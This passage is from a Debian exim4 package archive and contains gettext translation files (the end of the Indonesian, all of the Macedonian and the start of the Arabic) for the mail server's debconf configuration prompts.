email dari " #~ "mana saja di Internet. Jangan isikan domain lokal disini." #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Domain yang anda masukkan disini harus dipisahkan oleh tanda titik koma " #~ "(;). Karakter bintang (*) juga bisa digunakan." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Karena anda mengaktifkan fitur penyembunyian nama surat lokal bagi surat " #~ "yang dikirimkan keluar, anda harus menentukan nama domain yang akan " #~ "digunakan bagi surat dari para pengguna lokal; biasanya adalah komputer " #~ "tempat anda menerima surat." #~ msgid "Where will your users read their mail?" #~ msgstr "Di mana para pengguna anda akan membaca suratnya?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "Komputer yang menangani surat keluar bagi host ini (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "" #~ "Masukkan nama host bagi mesin yang dijadikan sebagai pengirim surat " #~ "keluar." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Aktifkan fitur ini jika anda menggunakan Dial-on-Demand; bila tidak, " #~ "nonaktifkan saja." #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Pilih jenis konfigurasi server yang sesuai dengan kebutuhan anda." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "" #~ "Jika anda tidak yakin maka anda seharusnya jangan menggunakan berkas " #~ "konfigurasi yang terpecah." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "" #~ "ubah secara manual dari konfigurasi Exim v3 yang dibuat dengan tangan" #~ msgid "Configure Exim4 manually?" #~ msgstr "Konfigurasi Exim4 secara manual?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Anda memberitahu bahwa anda telah mengutak-atik sendiri konfigurasi milik " #~ "Exim 3. Untuk mengubahnya ke Exim 4, anda dapat menggunakan " #~ "exim_convert4r4(8) setelah proses instalasi. Konsultasikan dengan /usr/" #~ "share/doc/exim4-base/examples/example.conf.gz dan /usr/share/doc/exim4-" #~ "base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Sebelum sistem surate anda dikonfigurasi, maka sistem ini akan rusak dan " #~ "tidak akan dapat digunakan." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "'Nama surate' Anda adalah bagian alamat dari nama host yang akan " #~ "ditampilkan pada pesan-pesan berita dan surat yang dikirimkan keluar " #~ "(setelah nama pengguna dan tanda @) kecuali jika disembunyikan dengan " #~ "menggunakan fitur penulisan ulang." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Silakan masukkan jaringan-jaringan lokal yang suratnya akan direlai oleh " #~ "mesin ini." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Di dalamnya termasuk sebuah daftar yang berisikan semua komputer yang " #~ "menggunakan sistem ini sebagai smarthost" #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Anda perlu menuliskan tanda titik dua sebanyak dua kali bagi alamat-" #~ "alamat IPv6 (misalnya 5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Masukkan alamat-alamat IP yang akan menerima koneksi, dengan dipisahkan " #~ "oleh tanda titik dua (:). Tanda titik dua perlu ditulis dua kali jika " #~ "anda menggunakan alamat IPv6 (misalnya 5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Mengonfigurasi Exim v4 (exim4-config)" debian/po/mk.po0000644000000000000000000007744712027557533010607 0ustar # translation of exim4_debian_po_mk.po to Macedonian # translation of exim_exim_debian_po_mk.po to # translation of exim_exim_debian_po_mk.po to # translation of exim_exim_debian_po_mk.po to # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # Georgi Stanojevski , 2004. # Georgi Stanojevski , 2005. # msgid "" msgstr "" "Project-Id-Version: exim4_debian_po_mk\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2005-07-26 21:11+0200\n" "Last-Translator: Georgi Stanojevski \n" "Language-Team: Macedonian \n" "Language: mk\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.9.1\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "Remove undelivered messages in spool directory?" msgstr "" "Отстрани ги пораките кои не се доставени а сеуште се во директорумот за " "праќање?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Има пораки во директорумот за праќање на exim /var/spool/exim4/input кои " "сеуште не биле испратени. Може да ги задржиш во случај да одлучиш да го " "инсталираш Exim подоцна или можеш да ги избришеш." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "интернет страна - поштата се праќа и прима преку СМТП" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "пошта пратена преку друг домаќин - примена преку СМТП или fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "пошта пратена преку друг домаќин - нема локална пошта" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "само локално испорачување - не е на мрежа" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "нема конфигурација во моментов" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Главен тип на конфигурација за пошта:" #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "Избери го типот на конфигурација кој најдобро ти одговара." #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Системите со динамички ИП адреси треба главно да бидат конфигурирани да ја " "праќаат надворешната пошта преку друга машина. Може да обереш да примаш " "пошта на таков систем или да немаш испорака на локална пошта, освен пошта за " "root и за postmaster." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Навистина остави го системо за пошта неконфигуриран?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 #, fuzzy msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Се додека твојот систем за пошта не е конфигуриран, ќе биде расипан и не ќе " "може да се користи. Се разбира подоцна можеш да го конфигурираш или рачно " "или со извршување на „dpkg-reconfigure exim4-config“ како root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Поштенско име:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Името исто така ќе биде користено од други програми, треба да биде единечен " "и правилен име на домејн (FQDN) од кој ќе изгледа дека поштата потекнува." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Ова име нема да се прикажува во Од: линииите на поштата за надвор ако " "овозможиш препишување." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Други дестинации за кои поштата се прима:" #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Те молам внеси листа на домејни за кои оваа машина треба да се смета како " "крајна дестинација, освен локалната адреса (${fqdn}) и „localhost“." #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Предефинирано кон сите домејни се однесува исто, ако сакаш кон различни " "домејни да се однесува различно, ќе треба да ја смениш конфигурациската " "датотека потоа." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Домејни за кои поштата се препраќа:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Машини за кои да препраќаш пошта:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 #, fuzzy msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Ако има, внеси ги тука одвоени со две точки. Треба да го користиш " "стандардниот формат за адреси (пр. 192.222.242.0/24)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Видливи имиња на домејни за локалните корисници:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 #, fuzzy msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Погледни во /usr/share/doc/exim4-base/README.Debian.gz за забелешки за " "поставување на СМТП автентикација." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Примач на поштата на root и postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Поштата за „postmaster“, „root“ и други системски сметки најчесто се " "препраќа на корисничката сметка на вистинскиот администратор. Ако ја оствиш " "оваа вредност празна, ваквите пораки ќе бидат снимани во /var/mail/mail што " "не е препорачливо. Имај на ум дека поштата за postmaster треба да се чита на " "машината за која е насочена, отколку да се препраќа на друго место. Така " "барем за еден од корисниците кои ќе ги одбереш поштата не треба да се " "препраќа на друго место. Користи го „real-“ префиксот за да форсираш локална " "испорака." #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "Multiple user names need to be separated by spaces." msgstr "Внеси едно или повеќе кориснички имиња одвоени од празни места." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "ИП адреса за која ќе слушаат дојдовните СМТП конекции:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Ако ја оставиш оваа вредност празна, Exim ќе слуша за конекции на СМТП " "портот на сите достапни мрежни интерфејси." #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Ако твојот компјутер не прима пошта директно преку СМТП од ДРУГИ компјутери, " "туку само од локални сервиси како fetchmail или твојот клиент за е-пошта " "(MUA) треба да ги забраниш надворешните конекции кон Exim тука внесувајќи " "127.0.0.1. Со ова забрануваш слушање на јавните мрежни интерфејси." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Држи го минимален бројот на ДНС прашувања (Вртење-по-потреба)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 #, fuzzy msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Во нормален режим на работа Exim прави ДНС-пребарувања при пуштање, кога " "прима или праќа порака и сл. за логирање или за да го држи бројот на цврсто " "внесени вредности во конфигурационата датотека мал." #. Type: boolean #. Description #: ../exim4-config.templates:11001 #, fuzzy msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Ако ова е компјутер без постојан пристап до ДНС сервер кој користи вртење-по-" "потреба ова може да предизвика несакани последици така што при стартување на " "exim или работа со поштата(и без пораки) ќе се прават непотребни вртења кон " "интернет провајдерот." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" #. Type: title #. Description #: ../exim4-config.templates:12001 #, fuzzy msgid "Mail Server configuration" msgstr "Главен тип на конфигурација за пошта:" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Подели ја конфигурацијата во помали датотеки?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Exim4 пакетите на Дебиан може да користат една голема монолитна датотека (/" "etc/exim4/exim4.conf.template) или околу 40 мали датотеки во /etc/exim4/conf." "d/ од кои се генерира крајната конфигурација." #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Првото е подоборо за големи промени и најчесто е постабилно, додека второто " "овозможува убав начин да се прават помали промени, но е понежно и може да се " "расипе ако се менуваат многу работи." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Сокриј го локалното поштенско име во надворешната пошта?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 #, fuzzy msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Заглавјата во надворешната пошта можат да бидат препишани така што би " "изгледале како да се создадени на друг систем. Сменувајќи го " "„${mailname}“ „localhost“ и „${dc_other_hostnames}“ во From, Reply-To, " "Sender и Return-Path полињата." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 #, fuzzy msgid "Delivery method for local mail:" msgstr "пошта пратена преку друг домаќин - нема локална пошта" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Премести ги сеуште недоставените пораки од exim(в3) во exim4 редот на " #~ "праќање?" #, fuzzy #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Има некои неиспратени порарки во директорумот за праќање на exim или exim-" #~ "ls во /var/spool/exim/input. Тие сега може да бидат преместени во " #~ "директорумот за праќање на exim4 (/var/spool/exim4/input/) каде ќе бидат " #~ "обработени од exim4." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Имај на ум дека ова работи само во еден правец, exim4 може да работи со " #~ "exim(v3) директорумот за праќање но не обратно." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Премести ги пораките само ако не планираш да се вратиш на exim(в3), во " #~ "друг случај поштата не треба да биде преместена сега туку рачно откога ќе " #~ "ги преместиш поставките." #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Ако има повеќе, внеси ги тука одвоени со две точки. Може да го оставиш " #~ "ова празно ако нема повеќе." #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "Те молам тука внеси ги домејните за кои прифаќаш да ја препраќаш поштата." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Такви домејни се домејни за кои си подготвен да прифаќаш пошта од било " #~ "каде на интернет. Не ги спомнувај локалните домејни тука." #, fuzzy #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Домејните кои ќе ги внесеш тука треба да бидат одбоени со две точки. " #~ "Џокери може да се користат." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Бидејќи си овозможил криење на поштенското име во надворешна пошта, мора " #~ "да специфицираш домејн име кое ќе се користи за пошта од локалните " #~ "корисници. Типично ова е машината на која нормално примаш пошта." #~ msgid "Where will your users read their mail?" #~ msgstr "Каде твоите корисници ќе ја читаат нивната пошта?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "Машини кои ја обработуваат поштата за праќање за оваа машина:" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "" #~ "Внеси го хостнејмот на машината на која ќе и биде праќана надворешната " #~ "пошта." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Овомозжи ја оваа опција ако користиш вретење-по-потреба, во друг случај " #~ "исклучи ја." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Избери го типот на конфигурација кој најдобро ти одговара." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "" #~ "Ако не си сигурен тогаш не треба ја користиш поделената конфигурација." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "рачно конвертирај од рачно поставената конфигурација на exim в3" #~ msgid "Configure Exim4 manually?" #~ msgstr "Конфигурирај Exim4 рачно?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Индицираше дека имаш рачно изработенa Exim3 конфигурација. За да ја " #~ "префрлиш оваа во Exim4, може да ја користиш exim_convert4r4(8) алатката " #~ "по инсталација. Консултирај се со /usr/share/doc/exim4-base/examples/" #~ "example.conf.gz и /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Се додека твојот систем за пошта не е конфигуриран ќе биде расипан и не " #~ "ќе може да се користи." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "Твоето „поштенско име“ е хостнејм делот од адресата која ќе биде " #~ "прикажана на пораките (следувајќи по корисничкото име и @ знакот) освен " #~ "ако не е сокриено при препишување." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Те молам тука внеси ги мрежите за локалните машини за кои прифаќаш да " #~ "препраќаш пошта." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Ова треба да содржи листа на сите машини кои ќе не користат нас како " #~ "препраќач на поштата." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Треба да ги дуплираш двете точки во IPv6 адресите (пр. " #~ "5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Внеси листа на ИП адреси одвоени со две точки за кои ќе слуша. Треба да " #~ "ги удвоиш двете точки во IPv6 адреси (пр. 5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Конфигурација на Exim в4 (exim4-config)" debian/po/ar.po0000644000000000000000000006740412027557533010572 0ustar # translation of exim-ar.po to Arabic # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # # Abdulaziz Al-Arfaj , 2004, 2005. # Ossama M. Khayat , 2006, 2007. msgid "" msgstr "" "Project-Id-Version: exim-ar\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-15 19:45+0300\n" "Last-Translator: Ossama M. Khayat \n" "Language-Team: Arabic \n" "Language: ar\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" "Plural-Forms: nplurals=4; plural=n==1 ? 0 : n==2 ? 1 : n>=3 && n<=10 ? 2 : " "3\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "هل تريد إزالة البريد الغير موصل في مجلّد الصّف؟" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "هناك بريدٌ في مجلّد صفّ Exim /var/spool/exim4/input لم يوصل بعد. ستتسبب إزالة " "Exim ببقاء هذه الرسائل دون ايصال حتى تتم إعادة تثبيت Exim." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "إن لم يتم اختيار هذا الخيار، فسيتم الإبقاء على دليل الصفّ، مما يسمح للرسائل " "بالوصول في وقت لاحق بعد إعادة تثبيت Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "الرجاء إعادة تهيئة exim4-config بدلاً من هذه الحزمة." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "هناك حزمة مخصصة لتهيئة Exim4، والمسماة exim4-config. إن كنت تريد إعادة تهيئة " "Exim4، استخدم الأمر 'dpkg-reconfigure exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "موقع إنترنت؛ البريد يُرسل و يُستلم مباشرةً باستخدام SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or 